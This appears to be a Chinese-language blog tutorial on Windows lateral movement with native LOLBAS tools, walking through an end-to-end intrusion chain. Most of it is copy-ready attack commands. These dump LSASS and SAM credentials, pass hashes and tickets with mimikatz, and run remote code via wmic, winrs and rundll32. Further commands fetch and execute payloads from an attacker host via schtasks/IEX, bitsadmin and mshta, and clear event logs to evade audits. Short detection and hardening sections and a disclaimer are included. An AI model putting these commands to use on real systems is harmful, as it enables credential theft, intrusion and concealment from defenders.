Windows LOLBAS横向移动实战教程:从凭据抓取到目标机全链路复现
2026/9/6 1:07:14 网站建设 项目流程

摘要:内网横向移动是红蓝对抗核心攻坚环节,绝大多数渗透测试场景中,拿到单点权限后,攻击者都会优先舍弃第三方恶意工具,全程依托Windows原生LOLBAS工具完成内网扩散。本文从零搭建完整实战链路,从凭据采集、凭据复用、多协议横向落地,到免杀无文件执行、痕迹规避、防御检测对抗,全部基于原生系统组件实现,无自定义木马、无落地恶意文件。所有操作均可在域环境、工作组靶场直接复现,同时配套完整检测思路与防御方案,适配实战渗透、红蓝演练、安全运维自查场景。

免责声明:本文所有技术内容仅用于授权内网安全演练、企业安全加固、网络安全学习研究。读者需在完全授权的靶场环境中操作,未经授权对任何公网、内网设备进行渗透测试、横向移动操作,均属于违法行为。作者不承担任何违规滥用导致的法律责任。

1 技术基础:LOLBAS与横向移动核心逻辑

1.1 LOLBAS核心定义与攻击优势

LOLBAS全称Living-Off-The-Land Binaries And Scripts,指代Windows系统默认自带的二进制程序、脚本文件、COM组件、管理工具。系统安装完成后,这类工具默认存在、自带系统签名、被系统信任,是内网渗透中最优的横向载体。

常规恶意程序落地后,会被EDR、杀毒软件基于特征库、行为规则直接拦截。而LOLBAS工具本身属于合法系统程序,安全设备默认放行,仅在异常调用、非常规参数执行时才会触发告警。攻击者利用这一特性,可实现无文件、无落地、低特征、高隐蔽的内网横向移动。

实战中高频使用的LOLBAS组件包含:wmic、winrs、rundll32、mshta、schtasks、bitsadmin、certutil、powershell、cmd等。本文所有横向链路均基于以上原生工具实现,不依赖任何第三方渗透工具。

1.2 横向移动第一性原理:身份权限传递

所有Windows内网横向移动,底层逻辑只有一个:将已获取的有效身份凭据,传递到内网其他主机,并利用本地系统工具执行操作。网络端口通畅、协议开放只是基础条件,有效凭据才是横向移动的核心门槛。

很多新手渗透者会陷入误区:认为横向移动依靠工具漏洞。实际实战中,90%以上的内网横向突破,都是依靠凭据复用实现。内网设备端口互通、服务开启的前提下,只要拿到域账号、本地管理员账号的有效认证信息,就能调用系统原生工具完成远程命令执行、文件读取、权限接管。

1.3 完整实战链路架构

本文实战采用标准域环境架构,包含域控、沦陷主机、目标横向主机三类节点,全程闭环复现。

核心链路

攻击机 Kali

已沦陷主机 Windows工作站

域控 DC

目标横向主机 业务服务器

凭据抓取 LSASS内存

凭据复用 PtH/PtT

LOLBAS远程执行

目标主机权限接管

痕迹清理对抗

链路流程:攻击机拿下单点工作站权限 → 在沦陷主机抓取系统凭据 → 通过哈希传递、票据传递复用身份 → 依托WMI/WinRM/SMB协议调用LOLBAS工具横向 → 拿下目标服务器权限 → 清理攻击痕迹规避审计。

1.4 靶场环境前置配置

为保证所有命令100%复现,统一靶场环境参数,读者可对照自建环境:

  • 域环境:test.local 域,域控IP:192.168.10.10

  • 沦陷主机(跳板机):Windows 10 专业版,IP:192.168.10.20,已获取系统权限

  • 目标横向主机:Windows Server 2019,IP:192.168.10.30,开启WMI、WinRM、SMB服务

  • 有效账号:域管理员 test\admin,本地管理员 Administrator

  • 网络条件:内网三层互通,无防火墙拦截135、445、5985端口

2 横向前置:全场景凭据抓取实战

凭据是横向移动的唯一核心,没有有效凭据,所有LOLBAS横向手段都无法执行。本章覆盖实战中最常用、成功率最高的四类凭据抓取方式,全部适配新版Windows系统,规避常规抓取报错。

2.1 LSASS内存凭据抓取(主流核心方式)

Windows系统所有登录凭据、域认证票据、NTLM哈希都会缓存到LSASS进程内存中。只要拥有系统权限,就能导出内存数据,解析出有效认证凭据。直接使用mimikatz抓取容易被EDR拦截,实战优先使用Procdump离线导出,规避实时监控。

2.1.1 Procdump导出LSASS内存文件

Procdump是微软官方Sysinternals工具,属于合法白名单工具,拦截概率极低。

# 管理员CMD执行,导出LSASS完整内存镜像 procdump64.exe -ma lsass.exe lsass_full.dmp # 精简参数导出,降低文件体积 procdump64.exe -ma -o lsass.exe lsass_small.dmp

执行完成后,当前目录生成dmp内存文件,将文件回传到攻击机,通过mimikatz离线解析,全程不在目标机器落地恶意程序。

2.1.2 Mimikatz离线解析凭据

# 加载dmp文件解析内存凭据 mimikatz.exe "sekurlsa::minidump lsass_full.dmp" mimikatz.exe "sekurlsa::logonpasswords full" exit

解析结果中可获取三类核心数据:本地用户明文密码、域用户NTLM Hash、Kerberos认证票据,完全满足后续横向需求。

2.2 注册表凭据读取(无工具静态抓取)

在无法上传任何工具的极端环境下,可直接读取Windows注册表存储的账号哈希信息,无需落地任何程序。该方式适用于权限极低、环境严苛的内网场景。

# 导出SAM、SECURITY、SYSTEM注册表配置 reg save HKLM\SAM C:\windows\temp\sam.save reg save HKLM\SECURITY C:\windows\temp\security.save reg save HKLM\SYSTEM C:\windows\temp\system.save

将三个save文件回传后,可通过cain、mimikatz解析出本地所有用户的NTLM哈希值,用于哈希传递横向。

2.3 系统凭证管理器抓取(RDP/SMB缓存凭据)

运维人员日常登录内网设备的RDP、SMB共享凭据,会被系统自动缓存到凭证管理器中,这类凭据往往是高权限域账号,价值极高。

# 查看系统缓存的所有凭据 cmdkey /list # 导出Vault凭据(PowerShell) Get-ChildItem -Path "C:\Users\$env:USERNAME\AppData\Local\Microsoft\Vault" -Recurse

缓存的凭据可直接用于同网段、同域内的设备横向,无需再次破解哈希。

2.4 服务与计划任务硬编码凭据挖掘

内网服务器运维时常会在服务配置、计划任务中硬编码账号密码,用于自动执行脚本、同步数据。这类凭据权限通常为本地管理员或域账号,是容易被忽略的突破口。

# 查询所有系统服务配置,抓取明文账号密码Get-WmiObject-ClassWin32_Service|Select-ObjectName,StartName# 查询所有计划任务配置Get-ScheduledTask|Select-ObjectTaskName,Author,Principal

3 核心凭据复用技术:PtH与PtT实战

抓取到凭据后,无法直接使用,必须将凭据注入当前进程内存,让系统后续的LOLBAS工具调用、网络访问都继承高权限身份。本章两种复用方式覆盖所有内网场景,工作组环境用PtH,域环境优先PtT。

3.1 哈希传递PtH(工作组/域通用)

PtH核心原理:利用Windows NTLM认证机制漏洞,无需明文密码,仅通过用户NTLM哈希即可完成身份认证,创建继承该权限的新进程会话。

# Mimikatz哈希传递注入 sekurlsa::pth /user:admin /domain:test.local /ntlm:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX /run:cmd.exe

参数说明:user为目标账号,domain为域名/本机机器名,ntlm为解析到的32位NTLM哈希。执行后会弹出全新CMD窗口,新窗口内所有网络访问、远程命令执行,均使用注入的高权限账号身份,原窗口权限不变。

实战关键坑点:必须使用弹出的新窗口执行横向命令,旧进程无法继承注入凭据,这是大部分横向失败的核心原因。

3.2 票据传递PtT(域环境专属高隐蔽方式)

域环境中Kerberos票据认证比NTLM哈希更隐蔽,多数EDR对票据传递的检测力度远低于哈希传递。抓取到域用户TGT票据后,可直接导入内存,实现免哈希横向。

# 导出内存中所有Kerberos票据 sekurlsa::tickets /export # 导入kirbi票据到系统内存 kerberos::ptt 【票据文件名.kirbi】 # 查看当前有效票据 kerberos::list

票据导入后,当前会话无需任何账号密码,直接拥有对应域账号权限,可直接访问域内所有信任主机,执行LOLBAS横向操作。票据有效期内,可反复横向多台域内设备。

3.3 凭据复用权限校验脚本

提供可直接复制的校验脚本,注入凭据后快速验证权限是否生效,避免无效横向操作。

# 内网权限校验、主机存活探测$target="192.168.10.30"# 检测445、135端口开放状态Test-NetConnection$target-Port 445Test-NetConnection$target-Port 135# 验证当前登录身份whoami# 验证域内权限net view \\$target

4 六大LOLBAS全链路横向移动实战

本章所有横向方式均基于Windows原生工具,无第三方载荷、无文件落地、纯内存执行,适配红蓝对抗免杀场景。所有命令可直接复制执行,适配Windows 10/Server2016/2019/2022全系系统。

4.1 WMI+WMIC远程命令执行(最通用横向链路)

WMI是Windows核心管理协议,默认端口135,配合动态端口完成通信,绝大多数内网主机默认开启。wmic作为系统自带工具,是实战中使用率最高的横向方式。

4.1.1 明文凭据远程执行

# 远程创建进程执行系统命令 wmic /node:"192.168.10.30" /user:"test\admin" /password:"123456" process call create "cmd /c whoami > C:\temp\result.txt"

4.1.2 无明文哈希传递执行(免密码)

在PtH注入后的CMD窗口中,无需账号密码,直接远程执行,规避明文日志泄露。

wmic /node:"192.168.10.30" process call create "cmd /c ipconfig > C:\temp\net.txt"

4.1.3 链路流程图

凭据注入成功

调用wmic工具

向目标135端口发送WMI请求

目标主机创建进程执行命令

命令结果落地/内存执行

该方式缺点:进程命令行日志完整记录,高版本EDR会直接告警,适合初期打点探测,不适合长期驻留。

4.2 WinRM+WinRS交互式横向(域环境最优解)

WinRM是Windows远程管理服务,域环境中默认大面积开启,分为5985HTTP、5986HTTPS两个端口。winrs系统自带,可直接获取目标主机交互式命令行,是域内批量横向的核心手段。

4.2.1 WinRS远程交互式CMD

# 明文连接远程主机,获取交互式shell winrs -r:192.168.10.30 -u:test\admin -p:123456 cmd

4.2.2 PowerShell PSSession持久会话

# 创建持久远程会话$cred=Get-CredentialEnter-PSSession-ComputerName 192.168.10.30-Credential$cred

会话创建后,可长期操作目标主机,执行文件上传、权限维持、系统信息采集等所有操作,稳定性远高于WMI临时执行。

4.3 SMB+Rundll32无文件内存横向(高隐蔽免杀)

rundll32是经典LOLBAS组件,可调用系统COM组件执行JS脚本,全程内存执行、无磁盘落地文件,是绕过常规杀毒的核心手段。配合SMB IPC$连接完成身份认证,实现纯无文件横向。

4.3.1 建立远程IPC$连接

# PtH环境下建立无密码IPC连接 net use \\192.168.10.30\ipc$ /user:test\admin ""

4.3.2 Rundll32内存JS执行命令

wmic /node:192.168.10.30 process call create "rundll32.exe javascript:\"..\mshtml,RunHTMLApplication\";document.write();new ActiveXObject(\"wscript.shell\").run(\"cmd /c whoami\")"

该链路核心优势:没有落地文件、没有直接恶意进程,利用系统网页组件执行命令,传统杀毒无法基于文件特征查杀,隐蔽性极强。

4.4 Schtasks计划任务定时横向(老牌稳定链路)

通过远程创建计划任务,在目标主机执行命令、启动载荷,该方式兼容性极强,适配所有Windows版本,老旧服务器横向首选。

# 1. 创建远程计划任务 schtasks /s 192.168.10.30 /create /tn "SystemUpdateCheck" /tr "cmd /c powershell IEX(New-Object Net.WebClient).DownloadString('http://192.168.10.50/payload.ps1')" /sc once /st 23:59 /ru system /f # 2. 立即触发任务执行 schtasks /s 192.168.10.30 /run /tn "SystemUpdateCheck" # 3. 执行完毕删除任务,清理痕迹 schtasks /s 192.168.10.30 /delete /tn "SystemUpdateCheck" /f

参数ru system代表以系统最高权限执行,可直接拿下目标主机完整权限。

4.5 Bitsadmin远程载荷下载落地

bitsadmin是系统后台传输工具,默认用于系统更新下载,可在远程主机后台静默下载恶意载荷,无弹窗、无明显进程特征,适合内网持久化上线。

# 远程调用bitsadmin下载C2载荷 wmic /node:192.168.10.30 process call create "bitsadmin /transfer UpdateJob /download /priority high http://192.168.10.50/shell.exe C:\windows\temp\shell.exe" # 下载完成后执行载荷 wmic /node:192.168.10.30 process call create "C:\windows\temp\shell.exe"

4.6 MSDTAhta脚本内存执行(极致无文件)

mshta用于解析HTA超文本应用程序,可远程加载线上hta脚本,全程内存解析执行,不写入任何磁盘文件,是目前隐蔽性顶尖的LOLBAS执行方式。

# 远程调用mshta加载恶意hta脚本 wmic /node:192.168.10.30 process call create "mshta http://192.168.10.50/run.hta"

5 完整端到端实战全流程复现

本章整合所有前置技术,还原一次真实内网横向攻击完整流程,从单点沦陷到多机横向扩散,全程无遗漏、无工具依赖。

拿下内网单点工作站权限

Procdump导出LSASS内存

离线解析获取域管理员NTLM哈希

Mimikatz PtH注入凭据

新进程校验内网端口与权限

IPC$建立远程连接

Rundll32内存执行命令探测权限

Bitsadmin下载C2载荷

目标主机上线接管

清理日志与临时文件、删除计划任务

步骤1:在已沦陷Windows工作站,管理员权限执行procdump,导出lsass内存文件并回传攻击机。

步骤2:攻击机mimikatz离线解析dmp文件,提取域管理员test\admin的NTLM哈希。

步骤3:沦陷机执行pth注入命令,弹出高权限CMD会话。

步骤4:新会话执行内网探测,确认目标192.168.10.30的135、445端口通畅。

步骤5:建立IPC$连接,通过rundll32执行内存命令,验证横向权限有效。

步骤6:调用bitsadmin远程下载C2载荷,执行后完成权限接管。

步骤7:删除临时文件、清空计划任务、关闭IPC连接,规避安全审计。

6 攻击痕迹与检测对抗实战

红蓝对抗中,横向移动的核心比拼不是能不能打进,而是能不能不被发现。本章精准对应各类LOLBAS横向的日志特征,同时提供痕迹规避方案与防御检测脚本。

6.1 各类横向行为日志特征汇总

  • WMI横向:触发Microsoft-Windows-WMI-Activity日志,记录远程进程创建参数

  • WinRM横向:WinRM服务日志记录远程会话连接IP、账号、操作行为

  • IPC$连接:系统4624登录事件,登录类型3,来源内网攻击IP

  • Rundll32异常:进程调用mshtml组件、ActiveX脚本执行,属于高危异常行为

  • Bitsadmin、schtasks:非常规时间、非常规路径的任务创建与文件下载行为

6.2 实战痕迹清理命令

# 关闭IPC连接 net use \\192.168.10.30\ipc$ /delete # 清理系统操作日志 wevtutil cl System wevtutil cl Security wevtutil cl Application # 删除临时执行文件与日志 del /f /s /q C:\windows\temp\*

6.3 防御端批量检测脚本

提供运维可直接部署的PowerShell检测脚本,批量排查内网主机LOLBAS异常横向行为。

# 检测异常WMI远程执行记录Get-WinEvent-LogName"Microsoft-Windows-WMI-Activity/Operational"-MaxEvents 1000|Where-Object{$_.Message-match"process call create"}|Format-TableTimeCreated,Message# 检测异常计划任务Get-ScheduledTask|Where-Object{$_.TaskName-match"Update|System|Temp"}|Format-TableTaskName,State,Author# 检测Bitsadmin下载记录Get-WinEvent-LogName Microsoft-Windows-Bits-Client/Operational-MaxEvents 500|Format-TableTimeCreated,Message

7 内网横向常见报错与坑点解决方案

7.1 PtH注入后横向失败

大概率是使用了旧进程窗口执行命令,凭据仅对新弹出的CMD生效。关闭旧窗口,全程使用mimikatz弹出的新会话即可解决。

7.2 本地管理员账号远程WMI被拦截

Windows默认开启UAC远程限制策略,本地管理员账号无法远程执行高权限操作,域账号不受该限制。工作组环境可修改注册表关闭UAC远程限制,域环境优先使用域账号横向。

7.3 端口通畅但连接超时

目标主机防火墙拦截135、445、5985端口,实战中可通过netsh命令远程放行端口,或优先使用WinRM低端口通信。

7.4 新版Windows LOLBAS被拦截

Win10 21H2、Win11、Server2022对rundll32、mshta的脚本执行做了加固,可改用powershell无文件执行、certutil下载等替代方案。

8 企业安全加固防御方案

8.1 权限管控加固

严格收缩域账号权限,禁止普通域用户拥有工作站、服务器本地管理员权限;域管理员账号仅允许域控本地登录,禁止终端登录,从根源阻断凭据泄露后的横向扩散。

8.2 系统组件加固

关闭非必要WMI、WinRM、IPC$服务;配置组策略限制LOLBAS组件的脚本执行权限,禁用rundll32调用mshtml COM组件。

8.3 审计监控加固

全员开启安全日志审计,监控4624远程登录事件、LOLBAS进程异常命令行、远程计划任务创建行为,实时告警内网横向攻击。

8.4 LSA保护加固

开启系统LSA保护机制,阻止LSASS进程内存被dump抓取,从源头杜绝凭据泄露,是防御内网横向最核心的加固手段。

结语与互动提问

本文完整复现了基于LOLBAS工具的全链路Windows内网横向移动,从凭据抓取、身份复用、多维度无文件横向落地,到对抗检测、安全加固,覆盖实战所有核心环节。整套技术体系完全依托系统原生组件,无特征、低告警,是红蓝对抗和渗透测试的核心必会技能。

互动问题

1. 域环境中**票据传递(PtT)**对比哈希传递(PtH),在免杀和日志规避上有哪些具体优势?

2. 日常内网运维中,你遇到过哪些被滥用的LOLBAS工具,可用于内网横向移动?欢迎在评论区留言交流。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询